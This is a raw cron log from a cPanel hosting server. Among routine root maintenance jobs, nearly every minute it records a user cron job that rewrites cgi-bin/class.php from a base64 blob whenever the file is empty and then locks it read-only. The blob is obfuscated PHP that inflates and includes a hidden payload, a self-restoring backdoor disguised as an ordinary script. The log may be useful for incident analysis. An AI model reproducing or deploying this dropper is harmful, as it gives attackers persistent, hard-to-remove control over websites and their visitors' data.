Sep  9 21:50:01 server CROND[11488]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:50:01 server CROND[11490]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:50:01 server CROND[11492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:50:01 server CROND[11491]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:50:01 server CROND[11489]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:50:01 server CROND[11494]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  9 21:51:01 server CROND[12423]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:51:01 server CROND[12424]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:51:01 server CROND[12426]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:52:01 server CROND[12801]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:52:01 server CROND[12802]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:52:01 server CROND[12803]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:53:01 server CROND[13190]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:53:01 server CROND[13189]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:53:01 server CROND[13191]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:54:01 server CROND[13567]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:54:01 server CROND[13568]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:54:01 server CROND[13569]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:55:01 server CROND[13958]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:55:01 server CROND[13960]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 21:55:01 server CROND[13963]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:55:01 server CROND[13961]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 21:55:01 server CROND[13965]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:55:01 server CROND[13962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 21:55:01 server CROND[13968]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 21:56:01 server CROND[14776]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:56:01 server CROND[14777]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:56:01 server CROND[14778]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:57:01 server CROND[15148]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:57:01 server CROND[15151]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:57:01 server CROND[15150]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 21:57:01 server CROND[15149]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:58:01 server CROND[15626]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 21:58:01 server CROND[15627]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:58:01 server CROND[15628]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:59:01 server CROND[16006]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 21:59:01 server CROND[16007]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 21:59:01 server CROND[16008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:00:01 server CROND[16396]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 22:00:02 server CROND[16399]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 22:00:02 server CROND[16401]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 22:00:02 server CROND[16406]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:00:02 server CROND[16404]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 22:00:02 server CROND[16403]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 22:00:02 server CROND[16402]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 22:00:02 server CROND[16408]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 22:00:02 server CROND[16405]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:00:02 server CROND[16407]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  9 22:01:01 server CROND[17250]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 22:01:01 server CROND[17251]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 22:01:01 server CROND[17252]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 22:01:01 server CROND[17253]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6w